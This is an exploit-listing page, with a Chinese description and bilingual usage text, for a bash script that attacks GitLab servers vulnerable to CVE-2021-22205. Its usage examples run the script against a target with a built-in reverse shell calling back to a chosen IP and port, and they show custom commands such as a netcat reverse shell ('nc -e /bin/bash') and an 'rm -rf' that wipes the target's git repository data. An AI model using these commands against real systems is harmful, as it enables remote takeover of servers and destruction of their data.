## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NUKINGDRAGONS-GITLAB-CVE-2021-22205
# gitlab-cve-2021-22205
一个简单的bash脚本,用于利用CVE-2021-22205攻击存在漏洞的gitlab实例
# 用法
root@kitploit:~
Usage: cve-2021-22205.sh [options]
Options:
-h,--help Show this help
-t,--target Set the target server (i.e. "http://gitlab.example.com")
-i,--reverse-ip Set the IP to connect back to
-p,--reverse-port Set the port to connect back to
-c,--command Set the raw command to run instead of the built-in reverse shell (i.e. "nc -e /bin/bash 127.0.0.1 1337")
Examples:
Use the built-in reverse shell payload:
cve-2021-22205.sh -t http://gitlab.example.com -i 127.0.0.1 -p 1337
Run a custom command:
cve-2021-22205.sh -t http://gitlab.example.com -c "rm -rf /var/opt/gitlab/git-data/*"
选项: -h,--help 显示此帮助 -t,--target 设置目标服务器(例如 "http://gitlab.example.com") -i,--reverse-ip 设置回连的IP -p,--reverse-port 设置回连的端口 -c,--command 设置要运行的原始命令,取代内置的反向shell(例如 "nc -e /bin/bash 127.0.0.1 1337") 示例: 使用内置反向shell载荷: cve-2021-22205.sh -t http://gitlab.example.com -i 127.0.0.1 -p 1337 运行自定义命令: cve-2021-22205.sh -t http://gitlab.example.com -c "rm -rf /var/opt/gitlab/git-data/*"